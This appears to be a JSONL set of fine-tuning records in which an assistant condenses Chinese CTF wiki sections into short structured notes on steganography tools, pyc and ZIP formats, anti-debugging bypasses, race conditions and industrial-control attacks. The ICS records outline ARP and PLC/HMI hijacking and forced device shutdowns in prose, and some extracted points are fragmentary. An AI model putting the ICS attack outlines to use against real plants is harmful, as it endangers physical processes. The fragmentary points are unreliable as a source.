{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-84b2705a50c1a637e298", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/picture/jpg.md` 中的章节「SilentEye」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/picture/jpg.md`\n标题：JPG\n章节：JPG > 隐写软件 > SilentEye\n路径分类：misc / misc/picture/jpg.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“SilentEye”展开。\n- It provides a pretty nice interface and an easy integration of new steganography algorithm and cryptography process by using a plug-ins system.\n- > SilentEye is a cross-platform application design for an easy use of steganography, in this case hiding messages into pictures or sounds.\n\n关键术语：\n- 密码学\n- misc\n- picture\n- jpg.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 282, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "SilentEye", "heading_path": ["JPG", "隐写软件", "SilentEye"], "original_id": "docs-5e5844108408d6954ebf", "original_line": 583, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/jpg.md", "source_root": "docs", "source_sha256": "511e2283dbd668e594a3274653afdb20ddfae8ff34bee0a759a8df4d0f60e28a", "split": "train", "split_group_key": "0cb61523d7401dbebd8ddd3f", "subcategory": "misc/picture/jpg.md", "terms": ["密码学", "misc", "picture", "jpg.md"], "title": "JPG"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/jpg.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8b5d7bbe7262cf22fe20", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/other/pyc.md` 中的章节「WARNING: Decompyle incomplete」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/other/pyc.md`\n标题：pyc文件\n章节：WARNING: Decompyle incomplete\n路径分类：misc / misc/other/pyc.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“WARNING: Decompyle incomplete”展开。\n- `` 注意到是python2.7,也就是说指令序列共占1字节或3字节(有参数无参数) 使用pcads得到 `xml imgenc.pyc (Python 2.7) ...\n\n关键术语：\n- 修复/缓解\n- misc\n- other\n- pyc.md\n\n代码/命令片段线索：\n- plain: 2 行，首行 `注意到是python2.7,也就是说指令序列共占1字节或3字节(有参数无参数)`\n- plain: 1 行，首行 `定位到出错的地方,观察发现 `LOAD_CONST LOAD_CONST BINARY_DIVIDE STORE_FAST opcodes (64 03 00 64 03 00 15 7d 05 00)`被破坏了,根据上下文线索修复后`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 1327, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "WARNING: Decompyle incomplete", "heading_path": ["WARNING: Decompyle incomplete"], "original_id": "docs-fba84dbc634fe6069260", "original_line": 30, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/other/pyc.md", "source_root": "docs", "source_sha256": "61611db97a5903d35a40e84b0e59cd094a78566b0e2664f48170d094a72dd4c2", "split": "train", "split_group_key": "d234a98b797b8102fded0dff", "subcategory": "misc/other/pyc.md", "terms": ["修复/缓解", "misc", "other", "pyc.md"], "title": "pyc文件"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/other/pyc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ics", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8db1f6775cb02ec5703d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ics/exploit.md` 中的章节「通信劫持」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ics/exploit.md`\n标题：ICS_CTF 利用\n章节：ICS_CTF 利用 > 通信劫持\n路径分类：ics / ics/exploit.md\n分块：1/1\n\n核心知识点：\n- 通信劫持是工控场景中最经典利用方式，例如ARP劫持、PLC/HMI通信劫持、PLC会话劫持、PLC命令执行等内容。\n- ARP劫持，ARP劫持可以阻断PLC与其他设备的通信，鉴于工程会存在写死IP等交互地址，未必管用，但是值得一试 2.\n- PLC/HMI通信劫持，采用旁路设备接入或控制PLC设备，对IO进行强制重写或输出 3.\n- PLC命令执行，针对工控设备最敏感的部分是设备宕机（无法恢复的）、设备启停、设备强制更新参数，等等这些对普通工艺能够产生较大的影响。\n\n关键术语：\n- 漏洞利用\n- ics\n- exploit.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ics", "chars": 241, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "misc", "heading": "通信劫持", "heading_path": ["ICS_CTF 利用", "通信劫持"], "original_id": "docs-2494ab9eff868faa81ad", "original_line": 515, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ics/exploit.md", "source_root": "docs", "source_sha256": "2e696f3a1a227fcaf0d1942736a623b6f6efd2637abf2b990b57535da2db082c", "split": "train", "split_group_key": "f79a7036a6e04b4209cd41ef", "subcategory": "ics/exploit.md", "terms": ["漏洞利用", "ics", "exploit.md"], "title": "ICS_CTF 利用"}, "source_dataset": "docs_distilled_v1", "source_path": "ics/exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8ea41ee9c76d922c033b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/linux/detect-dbg.md` 中的章节「绕过方法1」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/linux/detect-dbg.md`\n标题：Detecting debugging\n章节：Detecting debugging > 绕过方法1\n路径分类：reverse / reverse/platform/linux\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“绕过方法1”展开。\n- 显然ptrace只能作用于使用ptrace的调试器, 我们可以用不使用ptrace的调试器. 我们也可以通过打补丁的方式将ptrace函数擦除, 更简单就是将ptrace的调用代码或是之后的校验给擦除了. 如果可执行文件(实际情况下不太可能)在编译时并没有启用-s选项(-s 选项能移除所有的符号表信息和重定位信息), 那么情况会变得简单很多. 我们从这个简单的情况来分析 ```\n\n关键术语：\n- reverse\n- platform\n- linux\n- detect-dbg.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 193, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "绕过方法1", "heading_path": ["Detecting debugging", "绕过方法1"], "original_id": "docs-4579038c818df54598bd", "original_line": 1492, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/linux/detect-dbg.md", "source_root": "docs", "source_sha256": "0cce4922bb96dc05c163bcf7d51b7f922f5eec0a174642d7ed18962b3e4bcd38", "split": "train", "split_group_key": "326622c3c17b6924ab17e7f9", "subcategory": "reverse/platform/linux", "terms": ["reverse", "platform", "linux", "detect-dbg.md"], "title": "Detecting debugging"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/linux/detect-dbg.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-90d934affa43cdd99626", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/other/pyc.md` 中的章节「文件结构」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/other/pyc.md`\n标题：pyc文件\n章节：pyc文件 > 文件结构\n路径分类：misc / misc/other/pyc.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“文件结构”展开。\n- > 需要注意的是，在较老版本的 Python 当中，在 .pyc 文件中并不存在 Bit Field 和 文件大小 这两个字段，即 Header 大小仅为 8 字节。\n- [图片文件: ./figure/pyc-struct.png] > 对 .pyc 文件的完整解析可以参照如下资料： > > - Python程序的执行原理 > - PYC文件格式分析 关于co_code 一串二进制流,代表着指令序列,具体定义在include/opcode.h中,也可以参照python opcodes。\n- 由 - 指令(opcode),分为有参数和无参数两种,以 https://github.com/python/cpython/blob/fc7df0e664198cb05cafd972f190a18ca422989c/Include/opcode.h#L69 划分 - 参数(oparg) python3.6 以上参数永远占1字节,如果指令不带参数的话则以0x00代替,在运行过程中被解释器忽略,也是Stegosaurus技术原理;\n- 一个 pyc 文件由两大部分组成： - 一、Header 部分：存放了 .pyc 文件的基本信息，大小为 16 字节。\n- 最开始 4 个字节为 Magic Number，用以标识此 .pyc 文件的版本信息。\n\n关键术语：\n- misc\n- other\n- pyc.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 1223, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "文件结构", "heading_path": ["pyc文件", "文件结构"], "original_id": "docs-21123a5e3b774f5a4d80", "original_line": 566, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/other/pyc.md", "source_root": "docs", "source_sha256": "61611db97a5903d35a40e84b0e59cd094a78566b0e2664f48170d094a72dd4c2", "split": "train", "split_group_key": "a7ad53dd624044337755e040", "subcategory": "misc/other/pyc.md", "terms": ["misc", "other", "pyc.md"], "title": "pyc文件"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/other/pyc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-90e7057ec9a05368a47a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/archive/zip.md` 中的章节「工具」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/archive/zip.md`\n标题：ZIP 格式\n章节：-- coding: utf-8 -- > 明文攻击 > 工具\n路径分类：misc / misc/archive/zip.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“工具”展开。\n- note ​ 建议使用 Windows 的 ARCHPR，一是速度较快，二是较稳定（之前出题时遇到过用 PKCrack 爆不出来的情况）。\n- Windows下的神器 ARCHPR - Linux下的 PKCrack !\n\n关键术语：\n- misc\n- archive\n- zip.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 221, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "工具", "heading_path": ["-- coding: utf-8 --", "明文攻击", "工具"], "original_id": "docs-cfd4735d77db4984b361", "original_line": 550, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/archive/zip.md", "source_root": "docs", "source_sha256": "171c086900627e8f254fb7ea6f3caf29192f5b226bef34498c74cf7a30fd5f7b", "split": "train", "split_group_key": "646ecb030053aea7eab048b7", "subcategory": "misc/archive/zip.md", "terms": ["misc", "archive", "zip.md"], "title": "ZIP 格式"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/archive/zip.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-91b6a58b3928b313cd32", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/race-condition/problem.md` 中的章节「分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/race-condition/problem.md`\n标题：题目\n章节：题目 > 构造例子 > 分析\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析”展开。\n- 如果我们在程序检查完对应的文件大小后，将对应的文件删除，并符号链接到另外一个更大的文件，那么程序所读入的内容就会更多，从而就会产生栈溢出。\n- 可以看出程序的基本流程如下 - 检查传入的命令行参数是不是 “flag”，如果是的话，就退出。\n- 看似我们检查了文件的大小，同时 buf 的大小也可以满足对应的最大大小，但是这里存在一个条件竞争的问题。\n- 检查传入的命令行参数对应的文件大小是否大于 255，是的话，就直接退出。\n- 将命令行参数所对应的文件内容读入到 buf 中 ，buf 的大小为 256。\n\n关键术语：\n- 边界/溢出\n- 栈\n- pwn\n- linux\n- user-mode\n- race-condition\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 253, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "heading": "分析", "heading_path": ["题目", "构造例子", "分析"], "original_id": "docs-392f86e5a3a4dc340d58", "original_line": 1228, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/problem.md", "source_root": "docs", "source_sha256": "659a0705e4853c265b5228b8dce6dcabc7038c914dbd2b708c5fddd53014d6f0", "split": "train", "split_group_key": "ecf8e08efb6c953e55cb2e88", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "pwn", "linux", "user-mode", "race-condition"], "title": "题目"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/problem.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ics", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-91d6380ae5fe1e2fae79", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ics/ctfs.md` 中的章节「工控编程和组态（Program）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ics/ctfs.md`\n标题：ICS_CTF 竞赛\n章节：ICS_CTF 竞赛 > 工控编程和组态（Program）\n路径分类：ics / ics/ctfs.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“工控编程和组态（Program）”展开。\n- 工控设备往往可以在线调试，从而可以控制某些输入输出端口，实现强制启停的功能，如果这些功能可以采用 Remote 方式重发，那攻击危害就更为严重。\n- 工控组态可以非常复杂，甚至连接成百上千个输入输出都有可能，组态中会由于添加了新的组件而更加麻烦，这时候要慢慢看，一点一点缕出来。\n- 工控编程和组态是工控系统运行的核心和重点，此类题目特点一般是： - 工控编程核心为明白工控业务逻辑，而工控编程遵循 IEC61131-3（工控史上首例实现 PLC、DCS、运动控制、 SCADA 等联合编程的标准——IEC61131-3），包括 5 种编程语言标准，3 种是图形化语言（梯形图、顺序功能图和功能块图），两种是文本化语言（指令表和结构文本）。\n- 工控设备的连接方式多样，一般采用串口，但是目前设备发展支持以太网、USB 接口等新的方式，如果网口不行试试串口、USB。\n\n关键术语：\n- 漏洞利用\n- ics\n- ctfs.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ics", "chars": 384, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "misc", "heading": "工控编程和组态（Program）", "heading_path": ["ICS_CTF 竞赛", "工控编程和组态（Program）"], "original_id": "docs-ecf0bf71b258d09aef7f", "original_line": 510, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ics/ctfs.md", "source_root": "docs", "source_sha256": "9db703e491384f8fdf09bd064abbc3e4dd8b18009267043bc9c04a4ff4baaa60", "split": "train", "split_group_key": "f6ee30bbf06376bcd46f279f", "subcategory": "ics/ctfs.md", "terms": ["漏洞利用", "ics", "ctfs.md"], "title": "ICS_CTF 竞赛"}, "source_dataset": "docs_distilled_v1", "source_path": "ics/ctfs.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-929c2d1807075178edd0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/audio/introduction.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/audio/introduction.md`\n标题：音频隐写\n章节：音频隐写 > MP3 隐写 > 例题\n路径分类：misc / misc/audio/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题”展开。\n- [图片文件: ./figure/1.jpg] 得到密码后使用 Mp3Stego 解密。\n- ``shell decode.exe -X ISCC2016.mp3 -P bfsiscc2016 ` 得到文件 iscc2016.mp3.txt: ` Flag is SkYzWEk0M1JOWlNHWTJTRktKUkdJTVpXRzVSV0U2REdHTVpHT1pZPQ== ?\n- > ISCC-2016: Music Never Sleep 初步观察后，由 strings 无发现，听音频无异常猜测使用隐写软件隐藏数据。\n- `` Base64 && Base32 后得到 flag。\n\n关键术语：\n- 密码学\n- misc\n- audio\n- introduction.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 1 行，首行 `decode.exe -X ISCC2016.mp3 -P bfsiscc2016`\n- plain: 1 行，首行 `Flag is SkYzWEk0M1JOWlNHWTJTRktKUkdJTVpXRzVSV0U2REdHTVpHT1pZPQ== ???`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 308, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "例题", "heading_path": ["音频隐写", "MP3 隐写", "例题"], "original_id": "docs-df7c5c7a7d40cc1a2f9c", "original_line": 556, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/audio/introduction.md", "source_root": "docs", "source_sha256": "ca5f9e61f874f9b23c918bef96439e1355aac386099fc35a99150f84b386b0c9", "split": "train", "split_group_key": "8909ae99a9de4ad109328fd9", "subcategory": "misc/audio/introduction.md", "terms": ["密码学", "misc", "audio", "introduction.md", "code:shell"], "title": "音频隐写"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/audio/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-9768ca1b2dce2fd40efd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/picture/gif.md` 中的章节「图像标识符（Image Descriptor）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/picture/gif.md`\n标题：GIF\n章节：GIF > 文件结构 > 图像标识符（Image Descriptor）\n路径分类：misc / misc/picture/gif.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“图像标识符（Image Descriptor）”展开。\n- 之前的图片渲染模式一般是将多个图片绘制到一个大的（virtual canvas）虚拟画布上，而现在一般将这些图片集用于实现动画。\n- 每个 image 都以一个 image descriptor block（图像描述块）作为开头，这个块固定为 10 字节。\n- [图片文件: ./figure/imagesdescription.png]\n\n关键术语：\n- misc\n- picture\n- gif.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 185, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "图像标识符（Image Descriptor）", "heading_path": ["GIF", "文件结构", "图像标识符（Image Descriptor）"], "original_id": "docs-fca7e136ce59d5c1be5a", "original_line": 574, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/gif.md", "source_root": "docs", "source_sha256": "4ab7c472b31541161ddb401ad7439593a656caf10fd24929eb2630025ebe9f8b", "split": "train", "split_group_key": "9f5775e94c29ace2dadd352e", "subcategory": "misc/picture/gif.md", "terms": ["misc", "picture", "gif.md"], "title": "GIF"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/gif.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-97b55eac11f0b6bf014c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/picture/jpg.md` 中的章节「JPHS」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/picture/jpg.md`\n标题：JPG\n章节：JPG > 隐写软件 > JPHS\n路径分类：misc / misc/picture/jpg.md\n分块：1/1\n\n核心知识点：\n- JPEG 图像的信息隐藏软件 JPHS，它是由 Allan Latham 开发设计实现在 Windows 和 Linux 系统平台针对有损压缩 JPEG 文件进行信息加密隐藏和探测提取的工具。\n- JPHIDE 程序主要是实现将信息文件加密隐藏到 JPEG 图像功能，而 JPSEEK 程序主要实现从用 JPHIDE 程序加密隐藏得到的 JPEG 图像探测提取信息文件，Windows 版本的 JPHS 里的 JPHSWIN 程序具有图形化操作界面且具备 JPHIDE 和 JPSEEK 的功能。\n- 软件里面主要包含了两个程序 JPHIDE和 JPSEEK。\n\n关键术语：\n- misc\n- picture\n- jpg.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 274, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "JPHS", "heading_path": ["JPG", "隐写软件", "JPHS"], "original_id": "docs-5034f7724a034b5f2751", "original_line": 582, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/jpg.md", "source_root": "docs", "source_sha256": "511e2283dbd668e594a3274653afdb20ddfae8ff34bee0a759a8df4d0f60e28a", "split": "train", "split_group_key": "caced71048c808a26ed3980b", "subcategory": "misc/picture/jpg.md", "terms": ["misc", "picture", "jpg.md"], "title": "JPG"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/jpg.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ics", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-99e916f9f0b0e63e3b03", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ics/ctfs.md` 中的章节「Web渗透类（Web）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ics/ctfs.md`\n标题：ICS_CTF 竞赛\n章节：ICS_CTF 竞赛 > Web渗透类（Web）\n路径分类：ics / ics/ctfs.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Web渗透类（Web）”展开。\n- Web渗透的同时会保留多个端口，例如FTP、HTTPS、Telnet、SNMP、NTP等服务端口，在Web渗透无法打穿的同时可以试试其他端口。\n- 该节主要谈工控Web渗透的特点： - 与业务场景高度契合，例如工业控制中，Web端主要为显示当前使用场景中的控制参数、运行状态等信息，如果在内网中被中间人劫持，当HMI显示设备无法与PLC等实时运行设备同步时，系统会报警或出错。\n- 一般采用通用技术展示Web界面，以windows操作系统为主要平台，包括WinCC、Windows Server、Windows 98/2000/XP等看似古老的系统为主。\n- 工控由于一般处于内网环境，内网劫持往往比较有效，但是如果内网配置了静态 IP 或其他防护措施，ARP 欺骗方式等内网劫持方法无法起效。\n- 敏感信息泄露，配置文件不完善是工控 Web 发布常见问题，不仅仅包括 .git/.idea/.project 等工程信息协议，还可能出现路径遍历、命令注入、弱口令等问题。\n\n关键术语：\n- ics\n- ctfs.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ics", "chars": 438, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "Web渗透类（Web）", "heading_path": ["ICS_CTF 竞赛", "Web渗透类（Web）"], "original_id": "docs-e7e8549ceb62b91c79d3", "original_line": 28, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ics/ctfs.md", "source_root": "docs", "source_sha256": "9db703e491384f8fdf09bd064abbc3e4dd8b18009267043bc9c04a4ff4baaa60", "split": "train", "split_group_key": "144549925fb50486a0e72975", "subcategory": "ics/ctfs.md", "terms": ["ics", "ctfs.md"], "title": "ICS_CTF 竞赛"}, "source_dataset": "docs_distilled_v1", "source_path": "ics/ctfs.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "assembly", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-9a293a4600a2647ec24d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/assembly/risc-v/readme.md` 中的章节「（1）通用寄存器」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/assembly/risc-v/readme.md`\n标题：Risc-V\n章节：Risc-V > 0x02 寄存器 > （1）通用寄存器\n路径分类：assembly / assembly/risc-v/readme.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“（1）通用寄存器”展开。\n- RISC-V 一共有 32 个通用寄存器，编号为 x0 到 x31，每个寄存器为 32 位（RV32）或 64 位（RV64）。\n- 这些寄存器也有对应的 ABI 名称，常用于汇编语言编程。\n- 临时寄存器（t0~t6）在函数调用过程中不保证保留。\n- 保存寄存器（s0~s11）在函数调用之间必须被保存和恢复。\n\n关键术语：\n- 栈\n- assembly\n- risc-v\n- readme.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "assembly", "chars": 551, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "（1）通用寄存器", "heading_path": ["Risc-V", "0x02 寄存器", "（1）通用寄存器"], "original_id": "docs-c1b74c79e5c8e9ac2f7e", "original_line": 112, "original_split": "train", "record_type": 